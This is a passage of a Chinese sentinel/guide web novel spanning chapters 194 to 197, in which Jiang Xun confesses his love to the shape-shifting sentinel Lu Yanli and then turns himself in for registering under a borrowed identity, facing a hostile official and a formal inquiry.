“后来，我真的费了好大的功夫，才终于把你带回了家。你果然和我想的一样，外表看着凶巴巴的，但其实心里比谁都温柔，不管我对你做什么，你连爪子都没有对我露出来过。”江寻点了点猫猫的额头，话语里满是笑意。 “再后来，我们又在一起经历了好多，也闹过不少误会，不过，功夫不负有心人，你最后还是答应要与我一直在一起了。你记得吗？当时为了把你留在我身边，我还收集了好多物资，想要和你的那个‘主人’做交换呢。” 江寻被自己那时候闹的乌龙逗笑了，可笑了一声之后，声音便认真了起来：“所以从你应下我的那一刻起，我就决定了，从今往后要和你一直在一起，即使你以后反悔了，我也不会放你走。” “从那时起，我所有的未来计划里，就都有了你。” 江寻凝视着陆厌离的眼眸，他的声音并不大，却在这一刻格外清晰。 “后来，我们在仓促间分开了，而我也在那个时候才知道了你原来是一个哨兵。刚开始知道这件事的时候，我确实有点生气，明明我都把你当做最重要的家人伙伴了，你却瞒了我这么大一件事儿。”说到这里，江寻似乎又想起了当时的心情，没好气地弹了下猫猫的脑门。 “但是我希望你知道，不管我有没有曾因为这件事对你生过气，都从来没有动摇过我想要与你一起生活下去的念头。”江寻认真地看向有些愧疚的猫猫说道，“正是因为这一点，所以，那时即使我完全没有你的一点儿信息，自己也漂泊在了茫茫宇宙里，也坚持着，用尽了我能想到的所有办法，直到真正找到了你。” 江寻伸出手指，轻轻按上猫猫脖子上始终垂挂着的那个铭牌，目光缱绻：“我承认，一开始，我的确只是把你当做宠物。但是，在之后与你相处的每一天里，这份感情早已积累、变化，在我心中，你已经成了我的家人。而现在，这份感情依然在继续积累，慢慢变化着，而我，与你一样，同样在期盼着它彻底发生蜕变的那一天。” “所以，你永远也不用担心我会离开你。你已经在我的生命里占据了太多的位置。宠物、朋友、家人、甚至是将来的爱人。我身边所有重要的身份都是你的，你早已成了我人生的一部分。” 江寻低下头，看着猫咪那双随着自己的话语，越睁越大的碧绿眼眸，语气变得无比郑重：“陆厌离，我早就认定了你。你还记得吗？很久以前，当你还是一只猫的时候我就说过的，你已经是我的猫了，你的一切都是我的，即使是你自己也不能伤害自己。” “这句话，直到现在依然算数。陆厌离，你永远是我的。不管你有什么样的身份，什么样的性格，你的所有都是我的，任何人也不能让我放弃你，即使是你自己……也不行。” 江寻紧紧捏着怀中猫咪的下巴，丝毫不允许对方有一丝的反抗。说着这番话时，他的脸上失去了往日里的温柔和善，显出了少有的强硬不讲理。可这样的话语，听在陆厌离的耳朵里，却如一记记重锤，深深震撼着他的心灵。 他一点儿也不排斥江寻如此……近乎偏执的占有欲，反而因为他的这番话语，油然而生一阵几乎要将他完全淹没下去的激动和满足。 陆厌离永远属于江寻。 这一刻，他的脑子里被这一句话所填满，再也无法去思考其他任何东西。 无尽的喜悦在他的脑子里炸开了烟花，强烈的满足感与安全感漫了上来，让他激动得呼吸急促，浑身颤抖，连眼眶都湿润了起来。 他急切地想要靠得更近，想要回应，想要告诉江寻：是的，自己永远都属于他。可刚抬起头，就被江寻再次轻轻按了回去，示意他稍安勿躁。 “我认定你，不是因为你的顺从讨好，也不是因为你是一个对我多么‘有用’的人。只是因为只有你是在最初陪伴在我身边的那个人，只有你是与我订立下承诺的那个人。”江寻轻抚着猫猫激动得微微发抖的脊背，声音仍然清晰坚定，“很多人都会向旁人索取这些东西，在普通的社会交往中，有这样的需求很正常，毕竟每个人都会希望身边的人对自己更有利。但是，”他加重了语气，“对于真正爱你的人来说，这些东西都不是重要的。” “我不需要你的性格多么完美，对我多么的顺从；不需要你多么荣耀，为我增添光彩；更不需要你多么强大有用，为我带来什么好处。”江寻深深望进陆厌离的眼睛，一字一句地说着，仿佛要将这番话刻进对方的心底。 “你可以是受人敬仰的大英雄，也可以是脆弱怯懦的胆小鬼；你可以是温柔依赖的，也可以是冷傲不羁的；你可以开心，也可以生气；可以愤怒，也可以流泪。只要是你自己选择的，我都愿意去了解，去接受。” 江寻的话语越来越慢，似乎是在思索要用怎样的表达才能让陆厌离更加清晰地明白自己的意思。 “我不愿把你改造成什么‘适合我’的样子，我只希望和我在一起时，你能够更加快乐自在。就算在相处中需要做出一些调整，这种改变也应该是你自己愿意的，并且让你开心的。只有这样，我们都能以自己最真实、最舒适的模样面对彼此，感情才能真正变得长久而稳固。” 话说到了这里，江寻却又是一笑：“虽然我跟你说了这些，可我也只是想把我的想法告诉你，希望你能明白我的心意。我不希望你将我说的这些话也当做必须遵守的准则。如果你完全按照我说的这些去做，可能便恰恰违背了我这番话中对你真正的期望。” 江寻柔和下眉眼，语气轻松了起来：“陆厌离，你要遵循你自己真实的感受和判断，这才是最重要的。” 说完这些，江寻安静了下来，抱着怀里的猫猫，等待着他慢慢理解自己的意思。 陆厌离仰着头，呆呆地望着江寻，这样的观念是他从没听说过的，是与他从小到大接触到的所有人、事、物背道而驰的。他不禁有些迷茫，有些惶恐，有些不知所措。 而江寻并没有催促他，只是轻轻地抚摸着猫猫耷拉下来的耳朵和弓起的脊背，留出足够的时间让他去思考和理解。直到陆厌离的身体重新放松下来，眼神里闪过一些他从未见过的东西，才笑了笑，继续说道： “所以，你不必担心，当你在我面前展现出不同的样子时，会让我不高兴，也不用勉强自己来讨我的欢心。在我面前，你永远不需要压抑自己的本性。” 他将猫猫往上托了托，让他能更加舒服地窝在自己怀里，与自己平视。 “你应该知道的，我是一个习惯坦诚的人，特别是在面对自己亲近的人的时候。”江寻继续道，“如果有一天，你的某些行为或者想法、状态，让我感觉不舒服或者不喜欢，我不会瞒着你，而是直接告诉你。同样的，当我因为你的某些举动而欢喜的时候，我也会明确地表达出来。” 他的指尖点了点猫咪湿润的鼻尖，示意他认真听。 “我觉得，人与人之间如果想要维持长久的稳定关系，那么就不该存在‘忍耐’。‘忍耐’是会积累的东西，一天两天的忍耐，你觉得没什么。那么五年十年的忍耐呢？二十年五十年的忍耐呢？在长久的关系里，无论多小的‘忍耐’最终都会积累成难以跨越的隔阂，让感情越来越薄。等到它们一夕崩塌的时候，这段关系也就走到了尽头。” 江寻注视着猫猫的眼睛，仿佛想要透过这层毛茸茸的躯壳，直接触及陆厌离的灵魂深处。 “我希望我们彼此之间都能够坦诚。这种坦诚，不仅仅是对喜欢的表达，也包括在不高兴、不舒服的时候，及时沟通。心里藏有隐忧的两个人，永远也不可能真正的亲密无间。” “只有当我们能不断从对方那里得到真实的反馈时，我们才能在一步步的磨合中，慢慢找到那个让两个人都感觉最舒服、最自在的相处方式。这样，我们才能更好地一直走下去。” 话落，江寻没有再去说什么大道理，只是留出时间，让陆厌离慢慢消化自己带来的这些信息。 虽然已经来到这个星际世界很久了，可江寻的思想根基还是在现代生活中培养起来的。他的行事作风和观念，势必与如今这个哨向主导的社会有着很大的不同。 他并不想让陆厌离全盘接受他所有的观念，但是，作为一个被自己认定的，今后要共度一生的伴侣，陆厌离之于他的意义远不止一个普通的家人或者恋人那么简单，他希望，最起码能够让对方真正明白自己的想法。 怀里的灰色猫咪呆怔了好一会儿，他似乎真的听懂了江寻的话语，目光中的迷茫仿佛被驱散了一些，取而代之的，是一种更加深沉而冷静的思考。 这也是他从未在江寻面前展露过的一面。 看着陆厌离现在的样子，知道他真的理解了自己所说的话，江寻心中一暖，嘴角扬起一抹满足的微笑—— 作者有话说：江江展露心扉[星星眼] 第195章 感受着抱在怀里的猫猫紧绷着的肌肉渐渐松弛了下来， 神情也若有所思，但那双翠绿色的眼眸深处，却仍有着一抹挥之不去的隐忧， 江寻轻叹一声，指尖抚上猫猫柔软的耳廓。 “说到坦诚，陆厌离，”江寻再次开口， 将陆厌离的注意力吸引过来， “到现在为止， 你身上确实有一点，是我不太喜欢的……” 他故意停顿了一下， 看到猫猫的耳朵一抖瞬间竖了起来，眼睛也直勾勾地看了过来，这才继续说道：“我不喜欢的那一点就是， 你总是妄自菲薄， 以宠物自居，稍有本性流露就担心我会抛弃你。” 江寻直视着他的眼睛，在猫猫倏然睁大的目光下一字一句地说道：“我想告诉你， 我不会主动抛弃你， 你永远不必担心这一点。我喜欢作为‘小树’的你， 也喜欢作为‘陆少将’的你， 每次发现你身上有新的变化我都非常开心， 也很高兴能看到各种不同面貌的你， 你可以尽情地在我面前展现出所有的模样。” 江寻用双臂虚虚圈在猫咪身侧， 拢成一个圆圈的样子。 “我会把你放在我的‘圈’里，很大很大的圈。”他的手臂缓缓向外扩张，向怀里的猫猫示意着， “在这个圈里，你可以做各种想做的事，变成各种不同的样子，尝试任何你想要尝试的东西，直到找到自己最喜欢的模样。你有无数次尝试的机会，而我，会一直守在这个圈的边界，守护在你的面前，为你抵挡住外面的风霜雨雪。” 江寻的声音温柔而坚定，眼中盈满了笑意，所有目光完全被面前的猫猫所占据：“我迄今为止做出的所有努力，想要变得更优秀，更有能力，全部都是为了这一点，为了你。所以，胆子再大一点吧，再多相信我一点吧。” 江寻的拇指从猫猫水光潋滟的眼睛上轻轻拂过，低下头来，在他额头上落下一个轻柔的吻。 在极近的距离下，看着猫猫眼眸中翻涌着的激烈情绪，顿了顿，又露出一个柔和的笑意：“不过，你身上也有一点，是我特别喜欢的。” 这句话一出，江寻便见那双绿眸顿时一亮，闪动起期待的光芒。见江寻只是看着自己却半天不说话，猫猫忙低头凑近过来，在江寻唇边期期艾艾地舔了舔，拉出一声又轻又软的“喵呜”，尾巴也像是催促一般甩到了身前，软绵绵地圈上江寻的脖颈。 江寻嘴角微微上扬，声音低沉，嘴角带着一抹清浅的弧度：“我最喜欢的，就是你一直都能明明白白地表达出对我的依赖和喜欢。”他的目光柔和了下来，“就是因为你始终明确的表达，才让我所有的努力都毫无顾忌，才让我的情感有了确定的方向。” 江寻轻轻抵上猫猫的额头，与他蹭了蹭：“我知道，现在我对你的情感，可能还比不上你对我的。但是，你一直以来明确的反馈让我知道，我应该走在什么样的方向上。我相信，只要我们的方向是一致的，那么，终将会抵达同一个终点。” 江寻深吸一口气，终于在这一刻，说出了最明确的话语：“我非常喜欢作为‘江栖树’的主人的这个身份。但我是非常贪心的，现在，我想要的更多。”他目光灼灼地望进猫猫的眼眸，透过猫身看向藏在这具身体最深处的那个灵魂，“我想要成为陆厌离一生的伴侣。” “我想要那个不完美的，既自卑又勇敢的，既敏感又坚强的，既乖巧又冷淡的，完完整整的陆厌离。”他稍稍松开了一些怀抱，托起猫猫的一只小爪子，郑重地垂首亲吻，“不知道，他是否愿意呢？” 话音落下的瞬间，江寻身前骤然爆发出一阵剧烈的精神力波动。点点灰黑焰息从面前的灰色猫咪身上汹涌喷薄而出，黑色的身影在火焰中迅速抽长。下一秒，那爆发的灰焰还未散尽，便从中猛然扑出一个苍白赤裸的人影来。 陆厌离双眸湿润，面上的表情混杂着激动、喜悦与许多的不可置信，他没有任何犹豫，伸出双臂向前一扑，紧紧地将江寻拥入了怀中。几乎用尽了自己全身的力气，仿佛要将自己揉进江寻的身体里。 他颤抖着将脸颊深深埋入江寻的颈窝，瞬间便染上了湿意。 在两人相拥着倒入沙发的瞬间，江寻耳边传来一声含着泣音的激动回应：“我愿意！” 江寻脸上绽放出灿烂的笑容，坚定地回抱住身前的人，捧起那张被过于汹涌的情感染红的面庞，毫不犹豫地吻了上去。 久久，一室之中灯光昏暗，只能看到倒映在墙壁上紧紧缠绕着的两道身影，随着不时漏出的啧啧声响，来回翻转着身形。 狭窄的沙发上终究容不得两个人尽情舒展。最初的那股勇气随着时间的流逝渐渐消退后，其中一人便猛地推开了另一个，手忙脚乱地从地上捡起了散落的衣物，逃也似的冲进了浴室里。 浴室里的水声持续了许久，待房门再次打开时，高大的身影却又化为了一只毛茸茸的猫咪。 江寻好笑地看着今天格外乖巧，规矩地自动盘卧在他枕头上的猫猫，心下有了决定。 * 第二天清晨，用一个离别吻送走了去军部处理工作的陆厌离后，江寻却没有像往常一样直接前往圣所，而是再次回到了愈灵殿。 时间还早，愈灵殿里却已经开始了忙碌的工作。江寻轻易在那群激烈讨论的医师中找到了尼克斯组长，待他们的讨论告一段落，这才靠上前去，在尼克斯惊讶的目光中，在他耳边低语了一句。 随后，两人一前一后走进了尼克斯的办公室。片刻后，房门再次开启，尼克斯高兴地拍了拍江寻的肩膀，目送他悄然离去。 出得大门，江寻马不停蹄地坐上了公共悬浮车，前往他的下一个目的地。 总部核心区，向导登记与评估大厅。 江寻略有些感慨地环视一圈，打量一下这间许久未至的大厅。 今日的大厅里，依然熙熙攘攘，三三两两地聚集着许多或是前来做职业登记，或是等级评定的向导们。那些年轻小向导的脸上充满了对于未来的希冀与期待，令江寻的记忆一瞬间仿佛回到了许久之前。 怀念地轻笑一声，江寻暗自感慨，仅仅相隔了这短短几个月时间，如今的他，从心情到境遇便已经完全不同了。不过值得庆幸的是，一切都在朝着更好的方向发展。 不再多想，江寻在前台领取了一张排队号码牌，便寻了个安静些的角落坐了下来，静静等待着他的轮次。 他的举止仍与上一次前来时一样低调，可如今的他，已然穿上了属于圣所高级研修班的制服。再加上那年轻俊秀的面容与领口上反射着灯光的铜钉盾徽。不知不觉间，便吸引到了大厅中一大半若有若无的目光。 这位少见的来自圣所的B级向导，当然也第一时间引起了大厅中工作人员的注意。辛普森刚刚接待完一位前来评定等级的向导，重新回到大厅，便一眼就注意到了坐在角落里的这个有些特别的年轻人。 一扫而过之后，心中却浮起了些许熟悉感，再将视线落在那人身上仔细辨认了一下，辛普森便立刻认出了来人。 他的脸上马上堆起了热情的笑容，快步绕出服务窗口，走向了那人的方向。 “夏因先生！真的是您来了啊，好久不见了！”辛普森的声音里充满了真切的惊喜。 江寻闻声疑惑地抬头，他没想到在这里还会有认识他的人。辨认了片刻，便露出了恍然大悟的神情。他想起来了，他当时第一次来这里登记并测评向导等级时，正是面前这位主管帮他安排的一应手续。 他站起身来，同样露出了一个重逢故人的微笑，看了一眼挂在对方胸前的崭新铭牌，颔首寒暄：“好久不见了，恭喜您升职，辛普森主任。” “哈哈哈哈~都是托您的福啊！”发现对方真的还记得自己，辛普森面上的笑容更盛。当初，正是因为他在夏因向导的登记测评时的良好表现，才让上面的领导注意到了他这个小小的主管。也因此，他才能在那件事发生的几个月后，在竞聘中获得了更高的票数，最终击败了其他许多更有背景、更有资历的竞争者，最终获得升迁。自此之后，他便一直将这位夏因向导视作自己的贵人。 如今，久违地再次让他遇到了江寻，辛普森不免情绪激动了些。可二人的这番熟络对话，却吸引来了一道不善的目光—— 作者有话说：终于完成！修文比写文都要慢了[笑哭]《 》 195-200 第196章 “辛普森副主任！工作时间， 你和亲友在这里聚众闲聊，是把塔的规章制度当作儿戏吗？” 人还未到，声音先至。 远远地， 一个尖锐的嗓音便穿透了整个大厅，带着毫不掩饰的指责意味，炸响在所有人耳边。 周围许多前来办理事务的向导，被这一声突如其来的指责声惊扰， 纷纷扭过头看了过来。辛普森面色一变， 与江寻和谐的寒暄瞬间被打断。在众人带着些疑惑与不悦的目光注视下， 抱歉地对着江寻点了点头，这才带着几分烦躁扭头看向声音来处。 不远处， 一位同样身穿副主任制服的男人正抬着下巴，正满面刻薄地大步走近。那身看似普通的灰色制服上，却有隐约可见的点点暗纹闪闪烁烁。 “明秋， 你不要乱说， 这位也是前来办理事务的向导阁下。”辛普森强压着怒气解释道。 面前这个男人出身联盟三大家族之中最盛产向导的明家旁系，却没有遗传到丝毫向导天赋，被家族塞到了这里来混资历， 空降到这里的时候便是主管。本指望靠着自家的关系快速晋升， 却因为辛普森当时在江寻测试登记时的出色表现得了上司青眼， 被抢先升了副主任。 没了那一个空位， 他一直等到半个月前才凭着其他的关系， 升上了副主任的职衔。前阵子， 厅里又传出有一位主任即将卸任， 需要重新提拔一位继任者的消息，两人再次成为竞争对手，新仇旧恨之下， 从此便处处与辛普森为难。 明秋不屑地冷笑一声，正欲开口继续讥讽，目光却越过站在前面的辛普森，看到了站在他后面，一身圣所高级研修班正规制服的江寻，口中的话霎时一顿。 明秋眼睛一眯，狐疑地看向江寻，肆无忌惮上下打量的目光却在触及江寻随意别在领口的铜钉盾徽时，像是被烫到般猛地一闪，吐到喉头挑刺的话语便硬生生地打了个转。 强自转移过来的目光，落到旁边的辛普森身上时，却更加凌厉了起来，带着几分泄愤的意味，又掺杂着些许明显的鄙夷：“别骗人了，我都看到你们聊得开心了。怎么？仗着自己现在是副主任，就想给自己认识的阁下行方便，公然插队吗？用特权为你自己捞人情？” 他的音量极大，似乎是故意要让周围的人都听见。这番大声斥责也的确如了他的意，吸引了周围不少正在等待的向导的注意力。待听清了他故意加重了语气的“插队”二字时，众人更是立刻便对辛普森与江寻投来了不满的目光。 明秋见状，面上露出个得逞的微笑来，正想继续借题发挥，再给辛普森扣上个更大的帽子，却在目光扫过时直直对上了江寻平静的注视。刹时喉咙口一梗，更加难听的话被硬生生咽了回去，面色因此涨得通红，更加难看起来。 虽然他出身明家，可身无长处的他早就成了家族的弃子，平时在那帮平民、寒门子弟面前耍耍威风还行，绝不敢去得罪真正的高级哨兵向导。 “你在胡说八道什么？！夏因阁下对我有恩，我只是过来感谢一二而已。夏因阁下手里明明拿着号码牌在排队，你看不到吗？”辛普森挡在江寻面前，怒视着明秋。 明秋一眼看到被江寻捏在手里的显眼号码牌，脸色变换了几下。想要继续胡搅蛮缠，却又不敢真的牵扯到站在辛普森身后一言不发的高级向导，只得强压下对辛普森的嫉恨，梗着脖子大声道：“哼！你最好是这样！我今天就在这里看着，看谁敢公然破坏纪律！” 话落，他果然抱起手臂往旁边一站，灼灼的目光紧紧盯着江寻二人，仿佛要维护评估大厅的公平正义，可那架势却怎么看都有些外强中干。 辛普森被明秋这么当众斥责，还是在被他视作贵人的江寻面前，脸色有些难看。深呼吸了好几下，才压下心头的郁躁，马上转过身，先对江寻躬身致歉：“夏因先生，实在抱歉，他……哎，让您见笑了。” 江寻容色平静地摇了摇头，他看得出，对方针对的是面前的辛普森：“辛普森主任不必在意，都是小事。” 他这样通情达理，倒让辛普森越发觉得过意不去。他索性根本不去理会站在旁边虎视眈眈的明秋，也不离开，就这么光明正大地在江寻身边陪同着，偶尔低声交谈几句，回答一下对方的疑问。 两人这样视他如无物的态度，越发让明秋怒火中烧。可要挑刺他又不敢，只得这么硬扛着杵在这里，盼望着这个来自圣所的高级向导办完了事赶紧离开。 电子屏上的数字一个个跳动着，当叫号屏上显示出了江寻的号码时，辛普森也随着江寻一起站了起来。他快步走上前去，对原本准备接待的工作人员挥了挥手，亲自走进柜台，在窗口后坐下，对着江寻露出一个热情的笑容，伸手一引：“夏因先生，请坐，这次您的业务由我来为您办理。” 江寻从善如流地走上前坐下。 辛普森动作娴熟地调出系统界面，拿出了自己以前做柜员时的专业素养，认真问道：“夏因先生，请问您今天需要办理什么业务？” 江寻稍稍犹豫了一下，却是对着面前满脸笑容的辛普森露出了一个带着歉意的微笑：“对不起，我上次来登记的身份信息，其实是冒领的。”江寻看着面前的辛普森瞬间冻结的笑容，继续说了下去，“这一次，我是来进行行政申报的，我想要撤销以‘夏因’之名登记的假身份，以我的真实身份，重新完成向导登记。” 辛普森双眼瞬间睁大，整个人都僵住了。他张了张嘴，几乎以为是自己听错了。“夏因”这个身份……是冒领的？对方还跑来主动撤销？这……假冒他人身份，冒领的还是一个B级高级向导的身份，这在历来的向哨历史里都很少见，是非常严重的事件。 “您……您说什么？！为什么啊？”辛普森的声音因为极度的震惊都变了调，他完全没想到再次遇到江寻，他会给自己带来这么大一个“惊喜”。 如果对方说的是真的，那当时为他做了身份登记的自己，肯定也难辞其咎。 然而，不等辛普森从巨大的冲击中回过神来，向江寻问清事情的来龙去脉，一直在旁边紧盯着两人，竖着耳朵听着动静的明秋却首先反应了过来。 他的双眼骤然一亮，猛地扭过头来看向两人，脸上爆发出了狂喜的神色。 不等辛普森做出反应，他一个箭步便冲了过来，激动的声音音调被拔得极高，语气里是满满的幸灾乐祸，尖锐刺耳的声音瞬间盖过了大厅里所有的嘈杂人声。 “好啊！你居然敢冒领B级向导的身份，还被你混进了圣所里！你有什么不可告人的秘密？！辛普森，你早就知道对不对？他的身份就是你为他登记的！对了，连他升级B级向导的测评也是你一手操办的！你竟然敢胆大包天到这种程度，与一个身份不明的人合谋，欺骗塔组织！” 明秋毫不客气地用手指指着辛普森与江寻两人，那怼上来的指甲几乎要戳到江寻眼睛里去，一张还算端正的脸上，因为亢奋完全变了样子，声音里满是抓到了把柄的狠厉：“你这个小人，终于被我逮到了吧！我早就怀疑你当初的升职有问题！” 他根本不给辛普森和江寻两人任何解释的机会，也不去管因为他的这番话骤然混乱起来的大厅，脸上现出一个恶毒的大笑，立刻扭头冲着伫立在大厅四周的守卫们厉声喝道：“卫兵！快过了抓住这两个人！他们是两个合谋伪造身份，意图对塔不利的罪犯！立刻给我逮捕他们！” 随着他的吼声，护卫在大厅中的守卫们迅速反应了过来。下一刻，几名手持着防爆盾牌与电棍的武装警卫，立刻在明秋的指示下，将辛普森和江寻两人围在了中间。 大厅中其他正在办理业务的工作人员与向导们，纷纷目露惊愕地看着场中这突如其来的一幕。 被数个武装警卫团团围住，瞬间令辛普森脸色发白，额头上渗出了滴滴冷汗。 可多年以来的工作经验让他立刻强行镇定了下来。虽然刚才被江寻那番石破天惊的发言震得不清，但反应过来后，他立刻深吸一口气，双手举起快步走出柜台，挡在了江寻面前，对着那几位戒备地看着两人的警卫提高了声音说道：“事情还没有查明，你们怎么能凭明主任的一面之词便要逮捕我和这位阁下？” 他的目光扫过周围惊讶的人群，特别在明秋身上停留了一瞬，心念急转间，虽仍有忧虑，但还是强自镇定了下来，接着说道：“这位阁下当初是通过正规程序，经由仪器检测，并接受了来自圣所的B级考官莱昂·哈特的监考，才正式升为B级向导的。所有的检测报告，与莱昂考官的私印签字等证据一应俱全，这位阁下的B级向导身份是毋庸置疑的！” 辛普森有些复杂地看了一眼江寻，只犹豫了一瞬，目光就再次坚定了下来：“而且，这位阁下今天是前来主动申报自首的，我相信他并没有任何对联盟或者塔组织不利的目的。当初的冒领身份，一定有其他的原因！” 辛普森的目光直直望向明秋，声音掷地有声：“我愿意用自己的名誉与职位为这位阁下担保！我要求将此事移交内部调查室处理，申请高级审查官前来进行正式问询！”—— 作者有话说：二更来啦~久等了宝宝们[加油] 第197章 警卫们站在辛普森与明秋两人中间， 听着双方各执一词，感觉都有道理，一时间有些不知所措， 态度不觉犹豫了起来，目光在两人之间狐疑地来回游移。 明秋好不容易逮住辛普森一个把柄，见他竟然还敢反抗，不由更加怒火中烧。可辛普森的话却又符合规定， 确实挑不出什么大错， 而且他与那个胆大包天冒用身份的男人， 也没有公然对警卫们反抗，以自己与辛普森平级的地位， 这些经验丰富的警卫们根本不会只听他的一面之词就抓人，这让他心里更加窝火。 对峙了半天，依然毫无进展， 明秋只得铁青着脸咬牙道：“真是不见柜材不落泪！好！我现在就把这件事上报给高级审查官， 让他亲自来调查定夺！把他们都带去三号调查室！” 他狠狠地瞪了辛普森一眼：“我倒要看看你们还能怎么狡辩！” 说完，他便一马当先地转身，大步流星地向着大厅侧面的调查室走去。 辛普森轻吁出一口气， 看了看周围虎视眈眈看着他们的警卫， 对着江寻苦笑一声， 依然保持着他的礼貌， 微微欠身向着江寻伸手一引。 江寻此时也叹了口气。不过， 他在来这里之前， 便已经做好了心理准备， 如今的状况，也算在他的意料之中。对着辛普森点了点头，便随着众人一起走向了三号调查室。 这三号调查室呈全封闭结构， 中央一道透明高强度防爆玻璃，能够抵挡相当程度的物理攻击与一部分精神力攻击，只有当问询对象具有一定的危险性时，才会启用。但这也暗含着一层意味——能在这里接受问询的人，通常都被默认为可能会攻击审查官的嫌疑犯。 明秋点名要在这里对江寻进行正式问询，用意不言而喻。 辛普森一看到这间房间，也立刻明白了其中的含义，眼中浮现出愤怒之色。可面对着身边荷枪实弹的警卫，还是暂且忍下了这口气，没有多说，安静地跟着江寻一同坐进了审讯间里。 见他们两人从头到尾都没有任何反抗的迹象，几个紧绷着的警卫也松了口气，心中更加偏向于辛普森。不过这种时候，他们也只能给辛普森递去一个抱歉的眼神后，按照规定退出了房间，锁上了大门，守卫在门外。 耳边听着门锁落下的声音，辛普森此时终于忍不住看向江寻，脸上露出一丝无奈的苦笑，压低了声音，口中半真半假地抱怨了一句：“夏因先生，您这回……可真是把我害惨了啊。” 江寻听到辛普森的话语，真诚地对他欠了欠身。他也没想到自己只是和对方有一面之缘，辛普森就如此地信任他。语带歉意地低声道：“抱歉，辛普森主任，这一次是我连累你了。你放心，这件事我一定会承担起全部的责任。” 辛普森在刚刚走进这间问询室时，心中真的瞬间后悔了一下，怀疑自己的做法是不是过于冲动。可此刻看到江寻那副依旧平静坦然的神情，那份后悔竟然神奇地烟消云散了。他总觉得，面前的男人不是什么简单的角色，他一定还有后手。 想到这里，心中的忐忑便不知不觉平息了下来。他笑着摆了摆手，没再多说什么，静静坐下来，等待着高级审查官的到来。 而独自坐在防爆玻璃另一边的明秋，则是看着辛普森两人，冷笑了一声，施施然地同样坐了下来，一副坐等着看好戏的模样。 没过多久，门外传来警卫们问好的声音，随即大门被左右拉开，一位身着高级审查官制服，法令纹深刻的威严男人，在两名记录员的陪同下，大踏步走了进来。随着三人的进入，整个调查室内的空气瞬间凝滞了起来。 “王审查官您来了！”明秋面色一变，连忙站起身来向着来人深深一躬。审查官可是直属塔的最高领导人的监察职位，个个手握实权，可不是他这种靠关系混日子的旁系子弟可比的。 “嗯，具体发生了什么事需要监察司介入？”王姓审查官一句废话也没有，坐下身来便单刀直入地问道。 明秋立马添油加醋地将整件事汇报了一遍，连带着将自己对辛普森的怀疑也一五一十地说了出来。 王审查官面无表情地听着明秋的讲述，身后的一位记录员奋笔疾书。待他停笔之后，却是毫不客气地将刚才明秋在讲述中添加的种种主观论调全部去除，将事件的来龙去脉言简意赅地复述了一遍。 王审查官这才点了点头，丝毫不去管明秋瞬间难看下来的脸色，将鹰隼般的锐利目光直直投射在了玻璃对面的江寻身上，目光与江寻对视一瞬，再出口时，声音已充满了压迫感：“这位不知姓名的阁下，对以上事实是否有异议？” 在审查官威严的审视下，江寻的神色依然平静如昔，他同样认真地听着那位记录员的描述，并在审查官向他确认时肯定地点了点头：“是的，审查官阁下，我没有异议。” 王审查官看着江寻的表现，感兴趣地挑了挑眉，继续追问道：“既然如此，看来你也准备好接受应有的惩罚了？那么来解释一下吧，你冒用他人身份混入塔系统中，有什么目的？我要提醒你，你的回答决定了你最终将要接受的处罚。如果在我面前撒谎被我发现了，将会罪加一等。” 江寻认真地点了点头，即使面对审查官的威胁也没有丝毫紧张的表现，反而声音诚恳地表达歉意： “首先，我要向各位道歉，因为我的不当行为，扰乱了塔中正常的公共秩序。”江寻站起身来，对着审查官鞠了一躬，接着说道，“当时情况特殊，我刚来到中央星时，孑然一身，又发现有不明组织在搜查我的行踪，为了保护自身的安全，我不得已使用了一位朋友的身份信息，将自己隐藏了起来。” “如今，我已经具备了一定的自保能力，同时，也深刻认识到了隐藏身份的错误。所以，我今天前来这里主动申报自首，澄清事实。不论原因为何，我的确扰乱了塔中正常的秩序，犯下了错误，我愿意接受因此带来的一切处罚。” 江寻说出这番话时，态度始终诚恳，前因后果虽然描述得非常简略，却清清楚楚。既承认了自己的错误，也没有推脱罪责。 一番话落地，不仅让坐在身边旁听的辛普森暗暗松了口气，也让玻璃对面的审查官面色缓和了一些。只有明秋暗自撇了撇嘴，对他的这番说辞丝毫不以为然。 王审查官严厉的目光在江寻身上停留了许久，似在心中衡量着他话中的真实性。 良久，紧绷住的下颌线才稍稍松弛了下来。他整个人向后靠进椅背中，手指敲打在金属扶手上，语气已经较之进门时和缓了许多：“关于你口中陈述的事实，监察司后续会有专人予以调查，并严查你进入中央星后的一切行踪。在一切查清之前，你都不得擅离中央星，并且要随时接受监察司的传唤，这一点，你可接受？” 江寻点了点头：“我接受。” “很好。”王审查官向后一瞥，身后的记录员适时将一份电子档案递了上来。审查官熟练地翻动着条例，随后投影至面前的防爆玻璃上，向江寻展示出来。 “按照《向哨登记管理处罚条例》第十七条规定，故意伪造、冒用虚假身份信息登记，情节严重者，将处以一至三年强制性身份监控处罚。处罚期间，责任人需随时佩戴限制性拘禁器，不得随意使用精神力，并限制部分高级区域的通行权限。” 听到这里，一旁的辛普森心又提了起来，这样的处罚，对于一位正在圣所中读书的成长期向导来说，不可谓不严重。 而明秋，看着辛普森难看起来的脸色，嘴角轻轻翘了起来。 可审查官此时却又话锋一转，看向江寻：“但是鉴于你事出有因，此次又是主动申报，并且认错态度良好，按照相关规定，可以酌情从轻处罚。” 王审查官将手中的电子档案又向后翻了一页，将备注在后面的补充条例展示了出来：“该项条例同时规定，若责任人情节轻微，且有能力为塔组织做出相应的贡献，那么，可以在三位中级塔组织成员或一位高级塔组织成员的担保下，申请将身份监控转换为同等时限的指定劳动处罚服务。你是否能找到这样的担保人？” “是的，我有担保人。”江寻呼出口气，没有犹豫地从随身携带的文件夹中取出了一份加盖了印章的纸质文件，从台面上的小窗口中递了过去。在来此之前，他就已经熟读过了相关的处罚条例，也准备好了所需的文件。 江寻翻开手上的文件，指向文件最后的签名与私印：“这位就是我的担保人，愈灵殿研究组组长，尼克斯医师。” “愈灵殿？尼克斯组长？”王审查官明显愣了一下，半信半疑地接过了江寻递过来的文件。此时，不仅是他，就连旁边的辛普森与不怀好意地等着看他倒霉的明秋都同时露出了惊讶的神情。 他们原本以为，以江寻圣所在读学员的身份，他最多能求得圣所的导师帮忙担保，可没想到，他找的人居然是愈灵殿的资深研究组组长！ 王审查官先是翻到文件的最后一页，仔细辨认了那个亲笔签名与私印，这才将文件从头到尾阅读了一遍。他越是往下看，脸上的惊讶之色便越发明显起来。 片刻后，他终于重新翻回最后一页，这才抬起头来，语气里尽是不可思议：“真的是尼克斯组长……他不仅愿意为你全权担保，还主动要求将你的劳动服务地点，指定在愈灵殿里？” 此言一出，调查室内骤然响起阵阵细微的抽气声。 